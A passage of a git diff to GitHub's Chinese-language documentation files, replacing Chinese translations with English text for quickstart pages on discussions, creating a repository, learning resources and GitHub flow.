team member called Mona started remote game events. - There is a blog post describing how the teams use {% data variables.product.prodname_actions %} to produce their docs. -- 有关 April All Hands 的材料现在可供所有团队成员查看。 +- Material about the April All Hands is now available for all team members to view. {% endif %} -## 后续步骤 +## Next steps -这些示例向您展示了如何决定哪种工具是您在 {% data variables.product.product_name %} 上进行对话的最佳工具。 但这仅仅是个开始；您可以做更多的工作来根据需求定制这些工具。 +These examples showed you how to decide which is the best tool for your conversations on {% data variables.product.product_name %}. But this is only the beginning; there is so much more you can do to tailor these tools to your needs. -例如，对于议题，您可以用标签标记议题以支持更快的搜索，并创建议题模板以帮助参与者打开有意义的议题。 更多信息请参阅“[关于议题](/github/managing-your-work-on-github/about-issues#working-with-issues)”和“[关于议题和拉取请求模板](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/about-issue-and-pull-request-templates)”。 +For issues, for example, you can tag issues with labels for quicker searching and create issue templates to help contributors open meaningful issues. For more information, see "[About issues](/github/managing-your-work-on-github/about-issues#working-with-issues)" and "[About issue and pull request templates](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/about-issue-and-pull-request-templates)." -对于拉取请求，如果您提议的更改仍在进行中，您可以创建拉取请求草稿。 草稿拉取请求在标记为可供审查之前无法合并。 更多信息请参阅“[关于拉取请求](/github/collaborating-with-issues-and-pull-requests/about-pull-requests#draft-pull-requests)”。 +For pull requests, you can create draft pull requests if your proposed changes are still a work in progress. Draft pull requests cannot be merged until they're marked as ready for review. For more information, see "[About pull requests](/github/collaborating-with-issues-and-pull-requests/about-pull-requests#draft-pull-requests)." {% ifversion fpt or ghec %} -对于 {% data variables.product.prodname_discussions %}，您可以设置行为准则并将包含社区重要信息的讨论置顶。 更多信息请参阅“[关于讨论](/discussions/collaborating-with-your-community-using-discussions/about-discussions)”。 +For {% data variables.product.prodname_discussions %}, you can set up a code of conduct and pin discussions that contain important information for your community. For more information, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)." {% endif %} -对于团队讨论，您可以编辑或删除团队页面上的讨论，还可以为团队讨论配置通知。 更多信息请参阅“[关于团队讨论](/organizations/collaborating-with-your-team/about-team-discussions)”。 +For team discussions, you can edit or delete discussions on a team's page, and you can configure notifications for team discussions. For more information, see "[About team discussions](/organizations/collaborating-with-your-team/about-team-discussions)." diff --git a/translations/zh-CN/content/get-started/quickstart/create-a-repo.md b/translations/zh-CN/content/get-started/quickstart/create-a-repo.md index 4da7f00cbf..56c2e95fd0 100644 --- a/translations/zh-CN/content/get-started/quickstart/create-a-repo.md +++ b/translations/zh-CN/content/get-started/quickstart/create-a-repo.md @@ -1,11 +1,11 @@ --- -title: 创建仓库 +title: Create a repo redirect_from: - /create-a-repo/ - /articles/create-a-repo - /github/getting-started-with-github/create-a-repo - /github/getting-started-with-github/quickstart/create-a-repo -intro: '要将项目放在 {% data variables.product.prodname_dotcom %} 上，您需要创建一个仓库来存放它。' +intro: 'To put your project up on {% data variables.product.prodname_dotcom %}, you''ll need to create a repository for it to live in.' versions: fpt: '*' ghes: '*' @@ -17,16 +17,15 @@ topics: - Notifications - Accounts --- - -## 创建仓库 +## Create a repository {% ifversion fpt or ghec %} -您可以在 {% data variables.product.prodname_dotcom %} 仓库中存储各种项目，包括开源项目。 通过[开源项目](http://opensource.org/about)，您可以共享代码以开发更好、更可靠的软件。 您可以使用仓库与他人协作并跟踪您的工作。 更多信息请参阅“[关于仓库](/github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/about-repositories)”。 +You can store a variety of projects in {% data variables.product.prodname_dotcom %} repositories, including open source projects. With [open source projects](http://opensource.org/about), you can share code to make better, more reliable software. You can use repositories to collaborate with others and track your work. For more information, see "[About repositories](/github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/about-repositories)." {% elsif ghes or ghae %} -您可以在 {% data variables.product.product_name %} 仓库中存储各种项目，包括内部来源项目。 通过内部源代码，您可以分享代码来获取更好、更可靠的软件。 有关内部资源的更多信息，请参阅 {% data variables.product.company_short %} 的白皮书“[内部资源简介](https://resources.github.com/whitepapers/introduction-to-innersource/)”。 +You can store a variety of projects in {% data variables.product.product_name %} repositories, including innersource projects. With innersource, you can share code to make better, more reliable software. For more information on innersource, see {% data variables.product.company_short %}'s white paper "[An introduction to innersource](https://resources.github.com/whitepapers/introduction-to-innersource/)." {% endif %} @@ -34,7 +33,7 @@ topics: {% note %} -**注：**您可以为开源项目创建公共仓库。 创建公共仓库时，请确保包含[许可文件](https://choosealicense.com/)以确定您希望与其他人共享项目。 {% data reusables.open-source.open-source-guide-repositories %} {% data reusables.open-source.open-source-learning-lab %} +**Note:** You can create public repositories for an open source project. When creating your public repository, make sure to include a [license file](https://choosealicense.com/) that determines how you want your project to be shared with others. {% data reusables.open-source.open-source-guide-repositories %} {% data reusables.open-source.open-source-learning-lab %} {% endnote %} @@ -45,13 +44,15 @@ topics: {% webui %} {% data reusables.repositories.create_new %} -2. 为仓库键入简短、令人难忘的名称。 例如 "hello-world"。 ![用于输入仓库名称的字段](/assets/images/help/repository/create-repository-name.png) -3. （可选）添加仓库的说明。 例如，“我在 {% data variables.product.product_name %} 上的第一个仓库”。 ![用于输入仓库说明的字段](/assets/images/help/repository/create-repository-desc.png) +2. Type a short, memorable name for your repository. For example, "hello-world". + ![Field for entering a repository name](/assets/images/help/repository/create-repository-name.png) +3. Optionally, add a description of your repository. For example, "My first repository on {% data variables.product.product_name %}." + ![Field for entering a repository description](/assets/images/help/repository/create-repository-desc.png) {% data reusables.repositories.choose-repo-visibility %} {% data reusables.repositories.initialize-with-readme %} {% data reusables.repositories.create-repo %} -恭喜！ 您已成功创建第一个仓库，并使用*自述文件*对其进行了初始化。 +Congratulations! You've successfully created your first repository, and initialized it with a *README* file. {% endwebui %} @@ -60,33 +61,32 @@ topics: {% data reusables.cli.cli-learn-more %} 1. In the command line, navigate to the directory where you would like to create a local clone of your new project. -2. To create a repository for your project, use the `gh repo create` subcommand. Replace `project-name` with the desired name for your repository. If you want your project to belong to an organization instead of to your user account, specify the organization name and project name with `organization-name/project-name`. - - ```shell - gh repo create project-name - ``` - -3. Follow the interactive prompts. To clone the repository locally, confirm yes when asked if you would like to clone the remote project directory. Alternatively, you can specify arguments to skip these prompts. For more information about possible arguments, see [the {% data variables.product.prodname_cli %} manual](https://cli.github.com/manual/gh_repo_create). +2. To create a repository for your project, use the `gh repo create` subcommand. When prompted, select **Create a new repository on GitHub from scratch** and enter the name of your new project. If you want your project to belong to an organization instead of to your user account, specify the organization name and project name with `organization-name/project-name`. +3. Follow the interactive prompts. To clone the repository locally, confirm yes when asked if you would like to clone the remote project directory. +4. Alternatively, to skip the prompts supply the repository name and a visibility flag (`--public`, `--private`, or `--internal`). For example, `gh repo create project-name --public`. To clone the repository locally, pass the `--clone` flag. For more information about possible arguments, see the [GitHub CLI manual](https://cli.github.com/manual/gh_repo_create). {% endcli %} -## 提交您的第一个更改 +## Commit your first change {% include tool-switcher %} {% webui %} -A *[提交](/articles/github-glossary#commit)*就像是项目中所有文件在特定时间点的快照。 +A *[commit](/articles/github-glossary#commit)* is like a snapshot of all the files in your project at a particular point in time. -创建新仓库时，您使用*自述文件*对其进行了初始化。 *自述文件*是详细介绍项目的好工具，您也可以添加一些文档，例如介绍如何安装或使用项目的文档。 *自述文件*的内容自动显示在仓库的首页上。 +When you created your new repository, you initialized it with a *README* file. *README* files are a great place to describe your project in more detail, or add some documentation such as how to install or use your project. The contents of your *README* file are automatically shown on the front page of your repository. -让我们提交对*自述文件*的更改。 +Let's commit a change to the *README* file. -1. 在仓库的文件列表中，单击 ***README.md***。 ![文件列表中的自述文件](/assets/images/help/repository/create-commit-open-readme.png) -2. 在文件内容的上方，单击 {% octicon "pencil" aria-label="The edit icon" %}。 -3. 在 **Edit file（编辑文件）**选项卡上，键入一些关于您自己的信息。 ![文件中的新内容](/assets/images/help/repository/edit-readme-light.png) +1. In your repository's list of files, click ***README.md***. + ![README file in file list](/assets/images/help/repository/create-commit-open-readme.png) +2. Above the file's content, click {% octicon "pencil" aria-label="The edit icon" %}. +3. On the **Edit file** tab, type some information about yourself. + ![New content in file](/assets/images/help/repository/edit-readme-light.png) {% data reusables.files.preview_change %} -5. 查看您对文件所做的更改。 您会看到新内容以绿色显示。 ![文件预览视图](/assets/images/help/repository/create-commit-review.png) +5. Review the changes you made to the file. You'll see the new content in green. + ![File preview view](/assets/images/help/repository/create-commit-review.png) {% data reusables.files.write_commit_message %} {% data reusables.files.choose_commit_branch %} {% data reusables.files.propose_file_change %} @@ -97,7 +97,7 @@ A *[提交](/articles/github-glossary#commit)*就像是项目中所有文件在 Now that you have created a project, you can start committing changes. -*自述文件*是详细介绍项目的好工具，您也可以添加一些文档，例如介绍如何安装或使用项目的文档。 *自述文件*的内容自动显示在仓库的首页上。 Follow these steps to add a *README* file. +*README* files are a great place to describe your project in more detail, or add some documentation such as how to install or use your project. The contents of your *README* file are automatically shown on the front page of your repository. Follow these steps to add a *README* file. 1. In the command line, navigate to the root directory of your new project. (This directory was created when you ran the `gh repo create` command.) 1. Create a *README* file with some information about the project. @@ -132,18 +132,18 @@ Now that you have created a project, you can start committing changes. {% endcli %} -## 祝贺 +## Celebrate -恭喜！ 您现在已经创建了一个仓库，其中包括*自述文件*，并在 {% data variables.product.product_location %} 上创建了您的第一个提交。 +Congratulations! You have now created a repository, including a *README* file, and created your first commit on {% data variables.product.product_location %}. {% webui %} -您现在可以克隆 {% data variables.product.prodname_dotcom %} 仓库以在计算机上创建本地副本。 从您的本地仓库，您可以提交并创建拉取请求来更新上游仓库中的更改。 更多信息请参阅“[克隆仓库](/github/creating-cloning-and-archiving-repositories/cloning-a-repository)”和“[设置 Git](/articles/set-up-git)”。 +You can now clone a {% data variables.product.prodname_dotcom %} repository to create a local copy on your computer. From your local repository you can commit, and create a pull request to update the changes in the upstream repository. For more information, see "[Cloning a repository](/github/creating-cloning-and-archiving-repositories/cloning-a-repository)" and "[Set up Git](/articles/set-up-git)." {% endwebui %} -您可以在 {% data variables.product.prodname_dotcom %} 上找到有趣的项目和仓库，并通过创建仓库的复刻来更改它们。 更多信息请参阅“[复刻仓库](/articles/fork-a-repo)”。 +You can find interesting projects and repositories on {% data variables.product.prodname_dotcom %} and make changes to them by creating a fork of the repository. For more information see, "[Fork a repository](/articles/fork-a-repo)." -{% data variables.product.prodname_dotcom %} 中的每个仓库均归个人或组织所有。 您可以在 {% data variables.product.prodname_dotcom %} 上连接和关注人员、仓库和组织以与之进行交互。 更多信息请参阅“[社交](/articles/be-social)”。 +Each repository in {% data variables.product.prodname_dotcom %} is owned by a person or an organization. You can interact with the people, repositories, and organizations by connecting and following them on {% data variables.product.prodname_dotcom %}. For more information see "[Be social](/articles/be-social)." {% data reusables.support.connect-in-the-forum-bootcamp %} diff --git a/translations/zh-CN/content/get-started/quickstart/git-and-github-learning-resources.md b/translations/zh-CN/content/get-started/quickstart/git-and-github-learning-resources.md index 3eb2a283eb..5ce711cfb5 100644 --- a/translations/zh-CN/content/get-started/quickstart/git-and-github-learning-resources.md +++ b/translations/zh-CN/content/get-started/quickstart/git-and-github-learning-resources.md @@ -1,12 +1,12 @@ --- -title: Git 和 GitHub 学习资源 +title: Git and GitHub learning resources redirect_from: - /articles/good-resources-for-learning-git-and-github/ - /articles/what-are-other-good-resources-for-learning-git-and-github/ - /articles/git-and-github-learning-resources - /github/getting-started-with-github/git-and-github-learning-resources - /github/getting-started-with-github/quickstart/git-and-github-learning-resources -intro: 'Web 上有许多有用的 Git 和 {% data variables.product.product_name %} 资源。 这是我们精选的简短列表！' +intro: 'There are a lot of helpful Git and {% data variables.product.product_name %} resources on the web. This is a short list of our favorites!' versions: fpt: '*' ghes: '*' @@ -14,51 +14,50 @@ versions: ghec: '*' authors: - GitHub -shortTitle: 学习资源 +shortTitle: Learning resources --- +## Using Git -## 使用 Git +Familiarize yourself with Git by visiting the [official Git project site](https://git-scm.com) and reading the [ProGit book](http://git-scm.com/book). You can review the [Git command list](https://git-scm.com/docs) or [Git command lookup reference](http://gitref.org) while using the [Try Git](https://try.github.com) simulator. -通过访问[官方 Git 项目站点](https://git-scm.com)并阅读 [ProGit 书籍](http://git-scm.com/book)熟悉 Git。 使用 [Try Git](https://try.github.com) 模拟器时，您可以查看 [Git 命令列表](https://git-scm.com/docs)或 [Git 命令查询参考](http://gitref.org)。 - -## 使用 {% data variables.product.product_name %} +## Using {% data variables.product.product_name %} {% ifversion fpt or ghec %} -{% data variables.product.prodname_learning %} 提供免费互动课程，它们内置于 {% data variables.product.prodname_dotcom %} 中，附有即时自动反馈和帮助。 学习提出第一个拉取请求、做出第一个开源贡献、创建 {% data variables.product.prodname_pages %} 站点等。 有关所提供课程的更多信息，请参阅 [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %})。 +{% data variables.product.prodname_learning %} offers free interactive courses that are built into {% data variables.product.prodname_dotcom %} with instant automated feedback and help. Learn to open your first pull request, make your first open source contribution, create a {% data variables.product.prodname_pages %} site, and more. For more information about course offerings, see [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %}). {% endif %} -通过我们的[使用入门](/categories/getting-started-with-github/)文章更好地熟悉 {% data variables.product.product_name %}。 参阅我们的 [{% data variables.product.prodname_dotcom %} 流程](https://guides.github.com/introduction/flow)查看流程介绍。 阅读我们的[概述指南](https://guides.github.com)了解基本概念。 +Become better acquainted with {% data variables.product.product_name %} through our [getting started](/categories/getting-started-with-github/) articles. See our [{% data variables.product.prodname_dotcom %} flow](https://guides.github.com/introduction/flow) for a process introduction. Refer to our [overview guides](https://guides.github.com) to walk through basic concepts. {% data reusables.support.ask-and-answer-forum %} -### 分支、复刻和拉取请求 +### Branches, forks, and pull requests -使用交互式工具了解 [Git 分支](http://learngitbranching.js.org/)。 阅读有关[复刻](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)和[拉取请求](/articles/using-pull-requests)的相关信息并了解[如何在 {% data variables.product.prodname_dotcom %} 上使用拉取请求](https://github.com/blog/1124-how-we-use-pull-requests-to-build-github)。 从[命令行](https://cli.github.com/)访问有关使用 {% data variables.product.prodname_dotcom %} 的参考。 +Learn about [Git branching](http://learngitbranching.js.org/) using an interactive tool. Read about [forks](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks) and [pull requests](/articles/using-pull-requests) as well as [how we use pull requests](https://github.com/blog/1124-how-we-use-pull-requests-to-build-github) at {% data variables.product.prodname_dotcom %}. Access references about using {% data variables.product.prodname_dotcom %} from the [command line](https://cli.github.com/). -### 收看视频 +### Tune in -我们的 {% data variables.product.prodname_dotcom %} [YouTube 培训与辅导频道](https://youtube.com/githubguides)提供有关[拉取请求](https://www.youtube.com/watch?v=d5wpJ5VimSU&list=PLg7s6cbtAD15G8lNyoaYDuKZSKyJrgwB-&index=19)、[复刻](https://www.youtube.com/watch?v=5oJHRbqEofs)、[变基](https://www.youtube.com/watch?v=SxzjZtJwOgo&list=PLg7s6cbtAD15G8lNyoaYDuKZSKyJrgwB-&index=22)和[重置](https://www.youtube.com/watch?v=BKPjPMVB81g)函数的教程。 每个主题介绍 5 分钟或更短时间。 +Our {% data variables.product.prodname_dotcom %} [YouTube Training and Guides channel](https://youtube.com/githubguides) offers tutorials about [pull requests](https://www.youtube.com/watch?v=d5wpJ5VimSU&list=PLg7s6cbtAD15G8lNyoaYDuKZSKyJrgwB-&index=19), [forking](https://www.youtube.com/watch?v=5oJHRbqEofs), [rebase](https://www.youtube.com/watch?v=SxzjZtJwOgo&list=PLg7s6cbtAD15G8lNyoaYDuKZSKyJrgwB-&index=22), and [reset](https://www.youtube.com/watch?v=BKPjPMVB81g) functions. Each topic is covered in 5 minutes or less. -## 培训 +## Training -### 免费课程 +### Free courses -{% data variables.product.product_name %} 提供一系列交互式、[点播培训培训课程](https://lab.github.com/)，包括 [{% data variables.product.prodname_dotcom %} 简介](https://lab.github.com/githubtraining/introduction-to-github)；关于 HTML、Python 和 NodeJS 等编程语言和工具的课程；{% data variables.product.product_name %} 特定工具，如 {% data variables.product.prodname_actions %}。 +{% data variables.product.product_name %} offers a series of interactive, [on-demand training courses](https://lab.github.com/) including [Introduction to {% data variables.product.prodname_dotcom %}](https://lab.github.com/githubtraining/introduction-to-github); courses on programming languages and tools such as HTML, Python, and NodeJS; and courses on {% data variables.product.product_name %} specific tools such as {% data variables.product.prodname_actions %}. -### {% data variables.product.prodname_dotcom %} 基于 web 的教育课程 +### {% data variables.product.prodname_dotcom %}'s web-based educational programs -{% data variables.product.prodname_dotcom %} 提供直播[培训](https://services.github.com/#upcoming-events)，为喜欢和不喜欢使用命令行的人提供注重实践、基于项目的方法。 +{% data variables.product.prodname_dotcom %} offers live [trainings](https://services.github.com/#upcoming-events) with a hands-on, project-based approach for those who love the command line and those who don't. -### 为您的公司提供培训 +### Training for your company -{% data variables.product.prodname_dotcom %} 提供[现场课程](https://services.github.com/#offerings)，我们安排经验丰富的教育工作者现场讲授。 如需询问有关培训的问题，请[联系我们](https://services.github.com/#contact)。 +{% data variables.product.prodname_dotcom %} offers [in-person classes](https://services.github.com/#offerings) taught by our highly-experienced educators. [Contact us](https://services.github.com/#contact) to ask your training-related questions. -## 其他资源 +## Extras -An interactive [online Git course](https://www.pluralsight.com/courses/code-school-git-real) from [Pluralsight](https://www.pluralsight.com/codeschool) has seven levels with dozens of exercises in a fun game format. 您可以自由调整 [.gitignore 模板](https://github.com/github/gitignore)以满足您的需求。 +An interactive [online Git course](https://www.pluralsight.com/courses/code-school-git-real) from [Pluralsight](https://www.pluralsight.com/codeschool) has seven levels with dozens of exercises in a fun game format. Feel free to adapt our [.gitignore templates](https://github.com/github/gitignore) to meet your needs. -通过{% ifversion fpt or ghec %}[集成](/articles/about-integrations){% else %}集成{% endif %}或通过安装 [{% data variables.product.prodname_desktop %}](https://desktop.github.com) 和强大的 [Atom](https://atom.io) 文本编辑器来扩展您的 {% data variables.product.prodname_dotcom %} 的作用范围。 +Extend your {% data variables.product.prodname_dotcom %} reach through {% ifversion fpt or ghec %}[integrations](/articles/about-integrations){% else %}integrations{% endif %}, or by installing [{% data variables.product.prodname_desktop %}](https://desktop.github.com) and the robust [Atom](https://atom.io) text editor. -通过[开源指南](https://opensource.guide/)了解如何启动和发展您的开源项目。 +Learn how to launch and grow your open source project with the [Open Source Guides](https://opensource.guide/). diff --git a/translations/zh-CN/content/get-started/quickstart/github-flow.md b/translations/zh-CN/content/get-started/quickstart/github-flow.md index f4f30e1dfd..0db3281778 100644 --- a/translations/zh-CN/content/get-started/quickstart/github-flow.md +++ b/translations/zh-CN/content/get-started/quickstart/github-flow.md @@ -1,6 +1,6 @@ --- -title: GitHub 流程 -intro: '按照 {% data variables.product.prodname_dotcom %} 流程开展项目协作。' +title: GitHub flow +intro: 'Follow {% data variables.product.prodname_dotcom %} flow to collaborate on projects.' redirect_from: - /articles/creating-and-editing-files-in-your-repository/ - /articles/github-flow-in-the-browser/ @@ -18,85 +18,84 @@ topics: - Fundamentals miniTocMaxHeadingLevel: 3 --- +## Introduction -## 简介 +{% data variables.product.prodname_dotcom %} flow is a lightweight, branch-based workflow. The {% data variables.product.prodname_dotcom %} flow is useful for everyone, not just developers. For example, here at {% data variables.product.prodname_dotcom %}, we use {% data variables.product.prodname_dotcom %} flow for our [site policy](https://github.com/github/site-policy), [documentation](https://github.com/github/docs), and [roadmap](https://github.com/github/roadmap). -{% data variables.product.prodname_dotcom %} 流程是一个基于分支的轻量级工作流程。 {% data variables.product.prodname_dotcom %} 流程对每个人都有用，而不仅仅是开发者。 例如，在 {% data variables.product.prodname_dotcom %} 中，我们使用 {% data variables.product.prodname_dotcom %} 流程处理我们的[站点政策](https://github.com/github/site-policy)、[文档](https://github.com/github/docs)和[路线图](https://github.com/github/roadmap)。 +## Prerequisites -## 基本要求 +To follow {% data variables.product.prodname_dotcom %} flow, you will need {% data variables.product.prodname_dotcom %} account and a repository. For information on how to create an account, see "[Signing up for {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/signing-up-for-github)." For information on how to create a repository, see "[Create a repo](/github/getting-started-with-github/create-a-repo)."{% ifversion fpt or ghec %} For information on how to find an existing repository to contribute to, see "[Finding ways to contribute to open source on {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github)."{% endif %} -要遵循 {% data variables.product.prodname_dotcom %} 流程，您将需要 {% data variables.product.prodname_dotcom %} 帐户和仓库。 有关如何创建帐户的信息，请参阅“[注册 {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/signing-up-for-github)”。 有关如何创建仓库的信息，请参阅“[创建仓库](/github/getting-started-with-github/create-a-repo)”。{% ifversion fpt or ghec %} 有关如何查找要参与的现有仓库的信息，请参阅“[查找参与 {% data variables.product.prodname_dotcom %} 上开源项目的方式](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github)”。{% endif %} - -## 遵循 {% data variables.product.prodname_dotcom %} 流程 +## Following {% data variables.product.prodname_dotcom %} flow {% tip %} {% ifversion fpt or ghec %} -**提示：** 您可以通过 {% data variables.product.prodname_dotcom %} web 界面、命令行和 [{% data variables.product.prodname_cli %}](https://cli.github.com) 或 [{% data variables.product.prodname_desktop %}](/free-pro-team@latest/desktop) 完成 {% data variables.product.prodname_dotcom %} 流程。 +**Tip:** You can complete all steps of {% data variables.product.prodname_dotcom %} flow through {% data variables.product.prodname_dotcom %} web interface, command line and [{% data variables.product.prodname_cli %}](https://cli.github.com), or [{% data variables.product.prodname_desktop %}](/free-pro-team@latest/desktop). {% else %} -**提示：** 您可以通过 {% data variables.product.prodname_dotcom %} web 界面或者命令行和 [{% data variables.product.prodname_cli %}](https://cli.github.com) 完成 {% data variables.product.prodname_dotcom %} 流程。 +**Tip:** You can complete all steps of {% data variables.product.prodname_dotcom %} flow through {% data variables.product.prodname_dotcom %} web interface or through the command line and [{% data variables.product.prodname_cli %}](https://cli.github.com). {% endif %} {% endtip %} -### 创建分支 +### Create a branch - 在仓库中创建分支。 简短的描述性分支名称使您的合作者能够一目了然地看到正在进行的工作。 例如 `increase-test-timeout` 或 `add-code-of-conduct`。 更多信息请参阅“[创建和删除仓库中的分支](/github/collaborating-with-issues-and-pull-requests/creating-and-deleting-branches-within-your-repository)”。 + Create a branch in your repository. A short, descriptive branch name enables your collaborators to see ongoing work at a glance. For example, `increase-test-timeout` or `add-code-of-conduct`. For more information, see "[Creating and deleting branches within your repository](/github/collaborating-with-issues-and-pull-requests/creating-and-deleting-branches-within-your-repository)." - 通过创建分支，您可以创建一个工作空间，而不会影响默认分支。 此外，您还让协作者有机会审查您的工作。 + By creating a branch, you create a space to work without affecting the default branch. Additionally, you give collaborators a chance to review your work. -### 进行更改 +### Make changes -在分支上，对仓库进行任何所需的更改。 更多信息请参阅“[创建新文件](/articles/creating-new-files)”、“[编辑文件](/articles/editing-files)”、“[重命名文件](/articles/renaming-a-file)”、“[将文件移动到新位置](/articles/moving-a-file-to-a-new-location)”或“[删除仓库中的文件](/github/managing-files-in-a-repository/deleting-files-in-a-repository)”。 +On your branch, make any desired changes to the repository. For more information, see "[Creating new files](/articles/creating-new-files)," "[Editing files](/articles/editing-files)," "[Renaming a file](/articles/renaming-a-file)," "[Moving a file to a new location](/articles/moving-a-file-to-a-new-location)," or "[Deleting files in a repository](/github/managing-files-in-a-repository/deleting-files-in-a-repository)." -您的分支是进行更改的安全位置。 如果您犯了错误，您可以恢复更改或推送其他更改以修复错误。 在合并分支之前，您的更改不会最终出现在默认分支上。 +Your branch is a safe place to make changes. If you make a mistake, you can revert your changes or push additional changes to fix the mistake. Your changes will not end up on the default branch until you merge your branch. -提交并将您的更改推送到您的分支。 给每个提交一个描述性的信息来帮助您和未来的贡献者理解提交的内容包含哪些更改。 例如，`修复拼写错误`或`增加速率限制`。 +Commit and push your changes to your branch. Give each commit a descriptive message to help you and future contributors understand what changes the commit contains. For example, `fix typo` or `increase rate limit`. -理想情况下，每个提交都包含一个孤立的、完整的更改。 这样，如果您决定采取不同的方法，就很容易恢复您的更改。 例如，如果您要重命名变量并添加一些测试，则将变量重命名放在一个提交中，将测试放在另一个提交中。 以后，如果您想保留测试但恢复变量重命名，则可以恢复包含变量重命名的特定提交。 如果您将变量重命名和测试放在相同的提交中，或将变量重命名扩展到多个提交中，您将花费更多精力恢复更改。 +Ideally, each commit contains an isolated, complete change. This makes it easy to revert your changes if you decide to take a different approach. For example, if you want to rename a variable and add some tests, put the variable rename in one commit and the tests in another commit. Later, if you want to keep the tests but revert the variable rename, you can revert the specific commit that contained the variable rename. If you put the variable rename and tests in the same commit or spread the variable rename across multiple commits, you would spend more effort reverting your changes. -通过提交和推送您的更改，您可以将您的工作备份到远程存储。 这意味着您可以从任何设备访问您的工作。 也意味着您的协作者可以看到您的工作、回答问题并提出建议或做出贡献。 +By committing and pushing your changes, you back up your work to remote storage. This means that you can access your work from any device. It also means that your collaborators can see your work, answer questions, and make suggestions or contributions. -继续对分支进行更改、提交和推送更改，直到您准备好征求反馈。 +Continue to make, commit, and push changes to your branch until you are ready to ask for feedback. {% tip %} -**提示：**为每组互不相关的更改单独创建一个分支。 这使得评论者更容易提供反馈。 这也使你和未来的协作者更容易理解这些改变，以及恢复这些改变或在其基础上构建。 此外，如果一组更改出现延迟，您的其他更改不会延迟。 +**Tip:** Make a separate branch for each set of unrelated changes. This makes it easier for reviewers to give feedback. It also makes it easier for you and future collaborators to understand the changes and to revert or build on them. Additionally, if there is a delay in one set of changes, your other changes aren't also delayed. {% endtip %} -### 创建拉取请求 +### Create a pull request -创建拉取请求，要求协作者对您的更改进行反馈。 拉取请求审查非常重要，以至于某些仓库需要批准审查才能合并拉取请求。 如果您在完成更改之前需要早期反馈或建议，您可以将您的拉取请求标记为草稿。 更多信息请参阅“[创建拉取请求](/articles/creating-a-pull-request)”。 +Create a pull request to ask collaborators for feedback on your changes. Pull request review is so valuable that some repositories require an approving review before pull requests can be merged. If you want early feedback or advice before you complete your changes, you can mark your pull request as a draft. For more information, see "[Creating a pull request](/articles/creating-a-pull-request)." -创建拉取请求时，包括更改的摘要以及它们解决的问题。 您可以包含图片、链接和表格来帮助传达此信息。 如果您的拉取请求说明了某个议题，请链接该议题，以便议题利益相关者了解拉取请求，反之亦然。 如果您链接关键字，当拉取请求合并时，议题将自动关闭。 更多信息请参阅“[基本编写和格式语法](/github/writing-on-github/basic-writing-and-formatting-syntax)”和“[将拉取请求链接到议题](/github/managing-your-work-on-github/linking-a-pull-request-to-an-issue)”。 +When you create a pull request, include a summary of the changes and what problem they solve. You can include images, links, and tables to help convey this information. If your pull request addresses an issue, link the issue so that issue stakeholders are aware of the pull request and vice versa. If you link with a keyword, the issue will close automatically when the pull request merges. For more information, see "[Basic writing and formatting syntax](/github/writing-on-github/basic-writing-and-formatting-syntax)" and "[Linking a pull request to an issue](/github/managing-your-work-on-github/linking-a-pull-request-to-an-issue)." -![拉取请求正文](/assets/images/help/pull_requests/pull-request-body.png) +![pull request body](/assets/images/help/pull_requests/pull-request-body.png) -除了填写拉取请求的正文， 您可以在拉取请求的特定行中添加评论，向审核者明确指出一些内容。 +In addition to filling out the body of the pull request, you can add comments to specific lines of the pull request to explicitly point something out to the reviewers. -![拉取请求评论](/assets/images/help/pull_requests/pull-request-comment.png) +![pull request comment](/assets/images/help/pull_requests/pull-request-comment.png) -创建拉取请求时，您的仓库可能会被配置为自动请求特定团队或用户的审查。 您也可以手动@提及或要求特定的人或团队进行审查。 +Your repository may be configured to automatically request a review from specific teams or users when a pull request is created. You can also manually @mention or request a review from specific people or teams. -如果您的仓库有配置为在拉取请求上运行的检查，则您将看到任何在拉取请求上失败的检查。 这有助于您在合并您的分支之前发现错误。 更多信息请参阅“[关于状态检查](/github/collaborating-with-issues-and-pull-requests/about-status-checks)”。 +If your repository has checks configured to run on pull requests, you will see any checks that failed on your pull request. This helps you catch errors before merging your branch. For more information, see "[About status checks](/github/collaborating-with-issues-and-pull-requests/about-status-checks)." -### 解决审查评论 +### Address review comments -评论者应留下问题、评论和建议。 评论者可以评论整个拉取请求或将评论添加到特定行。 您和评论者可以插入图像或代码建议来澄清评论。 更多信息请参阅“[审查拉取请求中的更改](/github/collaborating-with-issues-and-pull-requests/reviewing-changes-in-pull-requests)”。 +Reviewers should leave questions, comments, and suggestions. Reviewers can comment on the whole pull request or add comments to specific lines. You and reviewers can insert images or code suggestions to clarify comments. For more information, see "[Reviewing changes in pull requests](/github/collaborating-with-issues-and-pull-requests/reviewing-changes-in-pull-requests)." -您可以继续提交并推送更改以响应评论。 您的拉取请求将自动更新。 +You can continue to commit and push changes in response to the reviews. Your pull request will update automatically. -### 合并拉取请求 +### Merge your pull request -拉取请求获得批准后，合并您的拉取请求。 这将自动合并您的分支，以便您的更改显示在默认分支上。 {% data variables.product.prodname_dotcom %} 会保留拉取请求中的评论和提交历史记录，以帮助未来的贡献者了解您的更改。 更多信息请参阅“[合并拉取请求](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request)”。 +Once your pull request is approved, merge your pull request. This will automatically merge your branch so that your changes appear on the default branch. {% data variables.product.prodname_dotcom %} retains the history of comments and commits in the pull request to help future contributors understand your changes. For more information, see "[Merging a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request)." -{% data variables.product.prodname_dotcom %} 会告知您的拉取请求是否有必须在合并前解决的冲突。 更多信息请参阅“[解决合并冲突](/github/collaborating-with-issues-and-pull-requests/addressing-merge-conflicts)”。 +{% data variables.product.prodname_dotcom %} will tell you if your pull request has conflicts that must be resolved before merging. For more information, see "[Addressing merge conflicts](/github/collaborating-with-issues-and-pull-requests/addressing-merge-conflicts)." 